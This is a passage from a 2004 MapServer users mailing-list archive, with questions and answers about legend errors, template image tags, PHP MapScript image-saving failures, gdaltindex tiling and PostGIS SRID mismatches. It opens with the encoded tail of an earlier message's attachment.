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 EFiF7Gc/YcncssjETaxcNGjTdE2csDSg0NBk/NPITNQ8vJMQDk0AcDRY0zhN2IA0pMlQ2SZQ UJpQaXCmcHCacGlQplBQmlBpsKawsJqwadCm0NCa0GnwpvDwmvBp0IgyfUamPTiaS2lOpkFE ml9pWqZVUJpzaXameXyaZ2lipm1omptpnqaRlJqPYLGIk5fEBIWLjYX/QK78uq6tuQa0vrCw /bqA0U2sv0W7iq+iWdJ2jKLDfOHBydG3AoPOzs/0gqiRcwEj1+ayfYi5AoQODNFy1RcLDyg6 LAgofpgb2wAjKSYxDy4nLzR80Um3AHNcT0tbTlKi0VNLR8P6YGcCZHpwZnFlD1nNMNvukGeB koBipYaYLj325UoNng+tEWegi1RQ2kSx9Ybw2sZWwMhpillJ8vVOCOWNMjwZtVUqDjaJacAT Eg0JPK3ENTRpNAA5I2EaPCU8L74sM+DNgxsdGB3fFulAzy30YWIccWhrwOXtlaaxjJWQYZ4e hZerTZo6oA05uf4zTzxasQ2X8moqvaPD9MTStM79MTTHP0yzzv0xKDHP0/PFv0/PFrgBKTGN UWITs/db7VdmBviPudb0BM/UqGCZeaGvUJc8ub3xwbilrxewsLShxb9kM8upPo8bDG6kxzbE odqWWe9jKB7znyEWVtnfviWmN3pi1pCjNYcdn0jmoXdzZDdvmZ5suLDNM8WCk7Sns/Oa58wX vbGtruG3FvmbouXXwWUryvdcvZrQ9jzRR9zdaUqb+ppKxMQfoNL3+AVzz+M6K+ARUfn9hPCu QuE4CQ427UUUdPhQ0wRVYm3VyLefXKtpPxXt6jroZ+SzcW/vAUIlMGVpUWx+fkZBc1taU2om FXfyRmkMIC0cGhgaAhwSEBIcGpdCDnt2adzo9HF8sfM+fDxBanViCt8TX8cBi4yVCZMUhyK+ ugnadjh4jriVKuOAytfThXjr0xwd2QFj9nLIY8iJngbn+hz6pMj/8uLJ5kEGOiAgJ1QyNPAw QzFDmlqw1EtAV0xQVm9wbWXjaW5jMWFriZbnpHJ30nsZDBAOrR+1Be00BxvGqPDPt+USiRQu K316Djom01oiqTo9vjI3j1Y0+slCzm/C299NLOzx5O42Q/9rO7PLDySalpup8mSTrJPZq865 48q+PFrhPQt93WzlS0FFXVrHjVLuElLeasy48cd9PjwMuO7fC9v02gtnHIpwaSsrvjw7rRk+ nSAxdnTKp+OWlrga7DWHft65AK+66c2UysXBYZYsk1Ch063tEM1LG8PotqmNl4c6/JeB+tzE sf91nJX/zsMl6dLbyO7WzsOR8BnR+uPve849ho3W6uw16iTbaHTC8Ufr/LbEVSvbyCwCE99a HPUfFmFhejkYMi8x/hpwxvh1eoznlguW46xq4sfPflOlbCQbYVpG6UJWWAgAaUUXSUZM6yFC HgNA/5aUKCkRx1Z4Uq/aS2W7Rn89SpVcRMCgVfHc9XiY0szttoRb5QYVoqp6rfyk/esVW64N HdMNZjbatqNW6Hve0s0dypWGs3mG8aL2zDbQVP9y75TVU130whDz0lQIzkoBVPhC11EEAiUu KyBEBbpmPCpz8YEMfh8CHX+ynWEbMOy2Yj201Q8DqFABN92Dmhs3nVYZpxYcViaJbn7yrWRn nZHIrZ8VgVkvr2AizbCg4eW6BSu5gFHQxJDqBOGA+Q+f/Zznn7uEexA+wVyO2Cr8Hbfsdqn0 zMevKWXedwaxzIK4ePX0yfyx6qt04VQVGrDrogcHAD+C+p/kCWvjHgocgMAKFAYBdAdSHctz LWhyQAUGDwlkIgUQDdEMBHByOHp6zHVnxyZ0Hgk2DAv6oIQ6NUffuRVrkJxDZVOvddgAokS+ iYj1r3eohZxCJZmwEDC/tYqN5Sqp4ttFfYvJEYyCf6oimtYSnxr0hBXz69Wu/iOYg/r17e3k vLrVuvNQ19vTlVrnxI0f7f6kBuMgheCw5vQ68BtiziuLVDYiJK5V7ecuv95FFhIRfFgADxQc DQ8WBHMQZ/JgrLamxvqbq3wHMB1XfqCEUmRAU0NdREhXAHFMPkFEMEExOTIsNM3I6m0Ay7q+ 2s+2zMQG38HArq8a3usxAN+iopi4qoyx49W9o7y8rrZG9PWcppWuqVHoifzvd5357UGO9T8e qKrd1Mr1ZejKCyG11hDTeMJ/ya4FGVEXaCQaA2QJr3Cn0zZaAAD9ZRJRUk+Q7jUKwwsWwTxD GJAGVZFKQxB5ZgVqBHlBgii1gu1PizACRRB2Xamxqn3AP/5hQcwScRIxNfE7xGU1yCAyigsm nQSDIIqydwsgfLJxCyBGslsLML/kv9O+TTxTgWZutKBxmg2EUmbJjois48bT+XgcjqZ1tJ0/ sdjqX2MUyXWmLE6acGlHkqwtTVSMO2Nj3MkmplwvmhxpMKYsXJnUfiRl0/xNbsQ08MlwfSz7 fz49BPhyFfXx9qQMSPiIZRqfZ8XE3TF6BMh1doIETVQqNQGEvUIJFEfBeRRsFn547B1OZY/x xFE54uglgybqlwj1svdOgrfzuO0VD956k8kDfS4OFv14//p9CPtKxSwqAtjS1+j+RTV9MoAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ------=_NextPart_000_0010_0000710F.000046EF-- From mtperry78 at sbcglobal.net Mon Mar 15 17:11:38 2004 From: mtperry78 at sbcglobal.net (Matthew Perry) Date: Mon, 15 Mar 2004 17:11:38 -0800 (PST) Subject: [Mapserver-users] Legend problems .. mapserver 3 Message-ID: <20040316011138.83942.qmail@web80108.mail.yahoo.com> --0-697078195-1079399498=:83379 Content-Type: text/plain; charset=us-ascii Hello everyone, I'm having difficulties with legends using and old CGI Mapserver 3.? on a Sun Sparc... When using "mode=legend" to get a GIF image, it works 90% of the time. But certain combinations of layers at certain scales generate an apache error. For example the following combination of layers works fine: http://ktrin.cnrs.humboldt.edu/cgi-bin/mapserv?map=/data74/project/ktrin/mapfiles/mapplet.map&mode=legend&mapext=400281.2973359306+4434140.206606386+587593.8214655637+4587333.873881806&mapsize=550+450&layer=hydrology&layer=watersheds&layer=photo_monitor&layer=trintowns&layer=caquads&layer=trans&layer=shdrlf But these layers at the same scale fails (turned off 2 layers: caquads and photo_monitor): http://ktrin.cnrs.humboldt.edu/cgi-bin/mapserv?map=/data74/project/ktrin/mapfiles/mapplet.map&mode=legend&mapext=400281.2973359306+4434140.206606386+587593.8214655637+4587333.873881806&mapsize=550+450&layer=hydrology&layer=watersheds&layer=trintowns&layer=trans&layer=shdrlf It seems to be the combination of layers and I can see no obvious pattern. It is not the fault of any single layer; they have all worked at some point. The Apache log indicates a "premature end of script headers" error for the bad legend requests. The mapserver error log shows nothing special.. all entires show "normal execution". I don't have the ability to compile on this server but we are currently in the process of setting up the latest mapserver 4. It should be ready this summer. In the mean time, is there anything I can do to fix this legend problem?? Has any one else had problems with this?? Thanks in advance, Matt Perry Humboldt State University --0-697078195-1079399498=:83379 Content-Type: text/html; charset=us-ascii

Hello everyone,

I'm having difficulties with legends using and old CGI Mapserver 3.? on a Sun Sparc...

When using "mode=legend" to get a GIF image, it works 90% of the time. But certain combinations of layers at certain scales generate an apache error. For example the following combination of layers works fine:

http://ktrin.cnrs.humboldt.edu/cgi-bin/mapserv?map=/data74/project/ktrin/mapfiles/mapplet.map&mode=legend&mapext=400281.2973359306+4434140.206606386+587593.8214655637+4587333.873881806&mapsize=550+450&layer=hydrology&layer=watersheds&layer=photo_monitor&layer=trintowns&layer=caquads&layer=trans&layer=shdrlf

But these layers at the same scale fails (turned off 2 layers: caquads and photo_monitor):

http://ktrin.cnrs.humboldt.edu/cgi-bin/mapserv?map=/data74/project/ktrin/mapfiles/mapplet.map&mode=legend&mapext=400281.2973359306+4434140.206606386+587593.8214655637+4587333.873881806&mapsize=550+450&layer=hydrology&layer=watersheds&layer=trintowns&layer=trans&layer=shdrlf

It seems to be the combination of layers and I can see no obvious pattern. It is not the fault of any single layer; they have all worked at some point. The Apache log indicates a "premature end of script headers" error for the bad legend requests. The mapserver error log shows nothing special.. all entires show "normal execution".

I don't have the ability to compile on this server but we are currently in the process of setting up the latest mapserver 4. It should be ready this summer. In the mean time, is there anything I can do to fix this legend problem?? Has any one else had problems with this??

Thanks in advance,

Matt Perry

Humboldt State University

--0-697078195-1079399498=:83379-- From ARyan at co.linn.or.us Mon Mar 15 17:35:05 2004 From: ARyan at co.linn.or.us (Ryan, Adam) Date: Mon, 15 Mar 2004 17:35:05 -0800 Subject: [Mapserver-users] Retrieving shape extent - Email found in su bject Message-ID: <614FCE5F14A6D41180C200010240D6A247C748@LINNMS> Steve et al, When you write "You can also build images based on query results independent of the query map" do you mean that in each template iteration we can build a unique image with the [img] tag, or do you mean that in each iteration we can re-call mapserver using [shpidx] or some other tag and mode=map? If the answer is the former, could you please elaborate on how that would be accomplished. I can imagine a result page that includes a little image of each result accompanying the attribute data, but I can't see how you'd do that without calling mapserver for each result record. Thanks, Adam Ryan -----Original Message----- From: Steve Lime [mailto:steve.lime at dnr.state.mn.us] Sent: Monday, March 15, 2004 11:49 AM To: charlie at im-design.net; mapserver-users at lists.gis.umn.edu Subject: RE: [SPAM] - Re: [Mapserver-users] Retrieving shape extent - Email found in subject Assuming you're using a query map you'd just use the [img] tag to get at the image. No extra trip necessary. You can also build images based on query results independent of the query map. Steve >>> "Charles D. Van Dusen" 3/15/2004 1:16:03 PM >>> OK (understood) So, how do I get the map while in non-map mode? Does it require an extra round-trip to the server or is the image created? Im working with the 'workshop' demos (specifically the dhtml banding box demo), which I believe has its template specified as 'itasca_adds_dhtml.html'. TIA Charlie Charlie Van Dusen charlie at im-design.net -----Original Message----- From: Steve Lime [mailto:steve.lime at dnr.state.mn.us] Sent: Monday, March 15, 2004 1:15 PM To: Charles D. Van Dusen; mapserver-users at lists.gis.umn.edu Subject: [SPAM] - Re: [Mapserver-users] Retrieving shape extent - Email found in subject When you're in a ...MAP mode you only get the map, that's the point. However you can still get a map with in a non-map mode, but you work through a template instead. Won't that work for you? Steve >>> "Charles D. Van Dusen" 3/13/2004 11:38:59 AM >>> Greetings All, Is it possible to retrieve the extent of a shape selected whil in 'indexquerymap' mode? So far I have not been able to retrieve anything but the image of the selected shape. I need to have the extent ([shpext]) as well, but I have only been able to retrieve it in 'indexquery' mode. Any ideas Thanks Charlie _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From rich at greenwoodmap.com Mon Mar 15 11:19:49 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Mon, 15 Mar 2004 19:19:49 +0000 Subject: [Mapserver-users] Retrieving shape extent - Email found in su bject In-Reply-To: <614FCE5F14A6D41180C200010240D6A247C748@LINNMS> References: <614FCE5F14A6D41180C200010240D6A247C748@LINNMS> Message-ID: <405601D5.6050302@greenwoodmap.com> Ryan, Adam wrote: > Steve et al, > > When you write "You can also build images based on query results independent > of the query map" do you mean that in each template iteration we can build a > unique image with the [img] tag, or do you mean that in each iteration we > can re-call mapserver using [shpidx] or some other tag and mode=map? > > If the answer is the former, could you please elaborate on how that would be > accomplished. I can imagine a result page that includes a little image of > each result accompanying the attribute data, but I can't see how you'd do > that without calling mapserver for each result record. > > Thanks, > > Adam Ryan > I think that is the default behavior. If you do an itemnquery which returns 4 records, and your template has an [img] tag, you will get 4 maps (images) - one for each record. The template is processed for each record found, but it does not require multiple calls to mapserver, or multiple round trips between the server and the browser. -- Richard Greenwood www.greenwoodmap.com From vinko at cprsig.cl Mon Mar 15 21:26:53 2004 From: vinko at cprsig.cl (Vinko Vrsalovic) Date: Tue, 16 Mar 2004 01:26:53 -0400 Subject: [Mapserver-users] Re: mapscript In-Reply-To: <20040315212840.C6C6F1A6599@mail.medinaco.org> References: <20040315212840.C6C6F1A6599@mail.medinaco.org> Message-ID: <20040316052653.GA22916@landsat.cprsig.cl> Is your mapserver binary compiled with GIF support? Is the directory shown writable by your web server? I'd vote for the first option, try using JPEG instead of GIF. On Mon, Mar 15, 2004 at 04:28:44PM -0500, Lowell Filak wrote: > This sounds familiar but I'm uncertain so I am forwarding the question > to the list for a professional opinion(s). > > Lowell > > The following message was sent by =?iso-8859-1?q?divya=20ganjoo?= > on Mon, 15 Mar 2004 06:51:36 +0000 (GMT). > > > Dear Mr. Lowell Filak, > > I am new to mapscript and i am facing a problem when i run my > project.Kindly help me out. > > I am using PHP script. > > When i run my project i get the following error: > > Warning: MapServer Error in msSaveImage(): > (c:\inetpub\wwwroot\tmp\107932773222001.gif) > > in c:\inetpub\wwwroot\pune1\gmap\htdocs\gmap\htdocs\map.php3 on line 781 > > Fatal error: Failed writing image to > c:\inetpub\wwwroot\tmp\107932773222001.gif > > in c:\inetpub\wwwroot\pune1\gmap\htdocs\gmap\htdocs\map.php3 on line 781 > > > > The line no. 781 in map.php3 goes like this: > > $url = $img->saveWebImage($gAppletImgFmt, 0, 0, -1); > > Can u tell me why am i facing this kinda error.Please help me out. > > > > Thankyou and have a nice day, > > Kindly reply soon. > > > > Divya. > > dg_113 at yahoo.co.in > > divyaganjoo at hotmail.com > > > > Yahoo! India Insurance Special: Be informed on the best policies, > services, tools and more. > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- Vinko Vrsalovic http://www.cprsig.cl From divyaganjoo at hotmail.com Mon Mar 15 22:06:55 2004 From: divyaganjoo at hotmail.com (divya ganjoo) Date: Tue, 16 Mar 2004 06:06:55 +0000 Subject: [Mapserver-users] mapscript Message-ID: Hello everybody there, I am a new to mapscripts.I am facing a problem.Could you plz help me to solve it.I am using PHP script.The write permissions on all folders are alright. > >The following error is generated when i run my project.: > >Warning: MapServer Error in msSaveImage(): >(c:\inetpub\wwwroot\tmp\107932773222001.gif) in >c:\inetpub\wwwroot\pune1\gmap\htdocs\gmap\htdocs\map.php3 on line 781 > >Fatal error: Failed writing image to >c:\inetpub\wwwroot\tmp\107932773222001.gif in >c:\inetpub\wwwroot\pune1\gmap\htdocs\gmap\htdocs\map.php3 on line 781 > > >The line no. 781 in map.php3 is: >$url = $img->saveWebImage($gAppletImgFmt, 0, 0, -1); > >Could u plz. tell me why i am facing this kind of error. > >Thanks, >Kindly reply soon. > >Divya >dg_113 at yahoo.co.in > _________________________________________________________________ Contact brides & grooms FREE! http://www.shaadi.com/ptnr.php?ptnr=hmltag Only on www.shaadi.com. Register now! From gijs at gijs.com Tue Mar 16 02:01:01 2004 From: gijs at gijs.com (Gijs Epping) Date: Tue, 16 Mar 2004 11:01:01 +0100 Subject: [Mapserver-users] tile tif in muliple dir's In-Reply-To: Message-ID: <000001c40b3d$967f6b20$2d00a8c0@at11> Hello, I want to tile multiple tif files into one shp file (this allready works for one directory), the problem is that they are in 8 different directory's, i did see it in the mailing list yesterday but i can't find it anymore. Could somebody tell me how? Now I call this string for one dir: ./gdaltindex top25.shp /var/www/html/datalocal/top25/*.tif I need something like this: ./gdaltindex top25.shp /var/www/html/datalocal/top25/*.*.tif Thanks in advance Gijs From charlie at im-design.net Tue Mar 16 02:40:41 2004 From: charlie at im-design.net (Charles D. Van Dusen) Date: Tue, 16 Mar 2004 05:40:41 -0500 Subject: [SPAM] - Re: [Mapserver-users] Retrieving shape extent -Email found in subject Message-ID: <90264B8395BF154DB2CB12B068DFFAE903AF28@westward.im-design.net> OK now Im confused In order to retrieve the extent of a shape by its internal index, the mode setting in the url must be set to 'indexquery'. If desired, the mode setting can be 'indexquerymap' and a map with the selected shape highlighted in the default yellow will be returned. >From what I understand in the tutorials, a mode of 'map' will stream the image directly back to the browser while a mode of 'browse' will write the map image to disk where it can be retrieved with the [img] tag in a template. What I have heard in this thread is that using the 'indexquery' mode will return the extent of the shape to the [shpext] tag in the template and will write the map image to disk and its url to [img] in the template. When I use 'indexquery' as the mode, I do not see any images being written to the temp directory on disk. It is as if there should be an 'indexquerybrowse' mode. Is there? Confused... Charlie Charlie Van Dusen charlie at im-design.net -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Steve Lime Sent: Monday, March 15, 2004 2:49 PM To: Charles D. Van Dusen; mapserver-users at lists.gis.umn.edu Subject: RE: [SPAM] - Re: [Mapserver-users] Retrieving shape extent -Email found in subject Assuming you're using a query map you'd just use the [img] tag to get at the image. No extra trip necessary. You can also build images based on query results independent of the query map. Steve >>> "Charles D. Van Dusen" 3/15/2004 1:16:03 PM >>> OK (understood) So, how do I get the map while in non-map mode? Does it require an extra round-trip to the server or is the image created? Im working with the 'workshop' demos (specifically the dhtml banding box demo), which I believe has its template specified as 'itasca_adds_dhtml.html'. TIA Charlie Charlie Van Dusen charlie at im-design.net -----Original Message----- From: Steve Lime [mailto:steve.lime at dnr.state.mn.us] Sent: Monday, March 15, 2004 1:15 PM To: Charles D. Van Dusen; mapserver-users at lists.gis.umn.edu Subject: [SPAM] - Re: [Mapserver-users] Retrieving shape extent - Email found in subject When you're in a ...MAP mode you only get the map, that's the point. However you can still get a map with in a non-map mode, but you work through a template instead. Won't that work for you? Steve >>> "Charles D. Van Dusen" 3/13/2004 11:38:59 AM >>> Greetings All, Is it possible to retrieve the extent of a shape selected whil in 'indexquerymap' mode? So far I have not been able to retrieve anything but the image of the selected shape. I need to have the extent ([shpext]) as well, but I have only been able to retrieve it in 'indexquery' mode. Any ideas Thanks Charlie _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Achim.Wessling at gt-net.de Tue Mar 16 03:05:08 2004 From: Achim.Wessling at gt-net.de (=?iso-8859-1?Q?=22We=DFling=2C_Achim=22?=) Date: Tue, 16 Mar 2004 12:05:08 +0100 Subject: [Mapserver-users] Operation on two GEOMETRIES with different SRIDs Message-ID: <04Mar16.120516cet.332177@gateway.gt-net.de> Hallo, I use mapserv 4.01 on a freebsd 4.9. The database ist PostgreSQL 7.4.1 with PostGIS 0.8.1. When trying to reach a postgis layer with umn postgis throws the following error: Operation on two GEOMETRIES with different SRIDs The following is the full error page: msDrawMap(): Image handling error. Failed to draw layer named 'dgk5gitter'.
msPOSTGISLayerWhichShapes(): Query error. Error executing POSTGIS SQL statement (in FETCH ALL): DECLARE mycursor BINARY CURSOR FOR SELECT asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from dgk5gitter_l WHERE the_geom && setSRID('BOX3D(3455060.58680556 5747011.58680556,3457342.41319444 5749293.41319444)'::BOX3D, find_srid('','dgk5gitter_l','the_geom') ) -ERROR: Operation on two GEOMETRIES with different SRIDs Error with POSTGIS data variable. You specified ''.
Standard ways of specifiying are :
(1) 'geometry_column from geometry_table'
(2) 'geometry_column from (<sub query>) as foo using unique <column name> using SRID=<srid#>'

Make sure you put in the 'using unique <column name>' and 'using SRID=#' clauses in.

For more help, please see http://postgis.refractions.net/documentation.php

Mappostgis.c - version of June 12/2003.
msDrawRaster(): Unable to access file. (5648gs_400.tif)
msDrawRaster(): Unable to access file. (5646gs_400.tif)
msDrawRaster(): Unable to access file. (5448gs_400.tif)
msDrawRaster(): Unable to access file. (5446gs_400.tif)
Does someone has a similar problem? Thanks! Mit freundlichem Gru? Achim We?ling ===================== INFOKOM G?tersloh A?R Fachbereich Technische Anwendungen Herzebrocker Str. 140 33334 G?tersloh Tel.: 05241/85-2926 Achim.Wessling at gt-net.de http://www.infokom-gt.de From palle at mail-online.dk Tue Mar 16 04:01:26 2004 From: palle at mail-online.dk (Palle Due Larsen) Date: Tue, 16 Mar 2004 13:01:26 +0100 Subject: [SPAM] - Re: [Mapserver-users] Retrieving shape extent -Email found in subject In-Reply-To: <90264B8395BF154DB2CB12B068DFFAE903AF28@westward.im-design.net> References: <90264B8395BF154DB2CB12B068DFFAE903AF28@westward.im-design.net> Message-ID: Not need to be confused, it's quite simple really (if you know how it works). Any mode that ends with "map2, and the "legend" mode and the "scalebar" mode return binary content. All other modes process a template and return what is required for that template. If there is a any sort of [img] placeholder in the template, the relevant map will be produced and the image name will be returned. If you have no [img], mapserver will not bother making a map. Best regards Palle Due Larsen Carl Bro GIS&IT -----Original Message----- From: "Charles D. Van Dusen" To: "Steve Lime" , Date: Tue, 16 Mar 2004 05:40:41 -0500 Subject: RE: [SPAM] - Re: [Mapserver-users] Retrieving shape extent -Email found in subject > OK now Im confused > > In order to retrieve the extent of a shape by its internal index, the > mode setting in the url must be set to 'indexquery'. If desired, the > mode setting can be 'indexquerymap' and a map with the selected shape > highlighted in the default yellow will be returned. > > From what I understand in the tutorials, a mode of 'map' will stream > the > image directly back to the browser while a mode of 'browse' will > write > the map image to disk where it can be retrieved with the [img] tag in > a > template. What I have heard in this thread is that using the > 'indexquery' mode will return the extent of the shape to the [shpext] > tag in the template and will write the map image to disk and its url > to > [img] in the template. When I use 'indexquery' as the mode, I do not > see > any images being written to the temp directory on disk. > > It is as if there should be an 'indexquerybrowse' mode. Is there? > > Confused... > > Charlie > > > > Charlie Van Dusen > charlie at im-design.net > > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Steve > Lime > Sent: Monday, March 15, 2004 2:49 PM > To: Charles D. Van Dusen; mapserver-users at lists.gis.umn.edu > Subject: RE: [SPAM] - Re: [Mapserver-users] Retrieving shape extent > -Email found in subject > > Assuming you're using a query map you'd just use the [img] tag to get > at > the image. No extra trip necessary. You can also build images based > on > query results independent of the query map. > > Steve > > >>> "Charles D. Van Dusen" 3/15/2004 1:16:03 > PM > >>> > OK (understood) > > So, how do I get the map while in non-map mode? Does it require an > extra > round-trip to the server or is the image created? > > Im working with the 'workshop' demos (specifically the dhtml banding > box > demo), which I believe has its template specified as > 'itasca_adds_dhtml.html'. > > TIA > > Charlie > > > Charlie Van Dusen > charlie at im-design.net > > -----Original Message----- > From: Steve Lime [mailto:steve.lime at dnr.state.mn.us] > Sent: Monday, March 15, 2004 1:15 PM > To: Charles D. Van Dusen; mapserver-users at lists.gis.umn.edu > Subject: [SPAM] - Re: [Mapserver-users] Retrieving shape extent - > Email > found in subject > > When you're in a ...MAP mode you only get the map, that's the point. > However you can > still get a map with in a non-map mode, but you work through a > template > instead. Won't that work for you? > > Steve > > >>> "Charles D. Van Dusen" 3/13/2004 11:38:59 > AM >>> > Greetings All, > > Is it possible to retrieve the extent of a shape selected whil in > 'indexquerymap' mode? > > So far I have not been able to retrieve anything but the image of the > selected shape. I need to have the extent ([shpext]) as well, but I > have > only been able to retrieve it in 'indexquery' mode. > > Any ideas > > Thanks > > > Charlie > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users F? en gratis emailkonto her: www.mail-online.dk ----------------------------------------------- Deltag i en lille konkurrence p? nettet, og vind et gavekort p? 50.000 kroner... KLIK HER: www.nyhedsbasen.dk/konkurrence From Heiko.Kehlenbrink at vermes.fh-oldenburg.de Tue Mar 16 04:52:16 2004 From: Heiko.Kehlenbrink at vermes.fh-oldenburg.de (Heiko Kehlenbrink) Date: Tue, 16 Mar 2004 13:52:16 +0100 (CET) Subject: [Mapserver-users] grouping layer Message-ID: <47207.195.243.253.146.1079441536.squirrel@webmail.fh-oldenburg.de> hi list, i have a bunch of raster layer like the following: LAYER NAME "5243" GROUP "Ortho" STATUS OFF TYPE RASTER TEMPLATE "ttt.html" DATA "/srv/www/htdocs/world/data/16webbay/2995243.tif" PROJECTION "init=epsg:26915" END END LAYER NAME "5244" GROUP "Ortho" STATUS OFF TYPE RASTER TEMPLATE 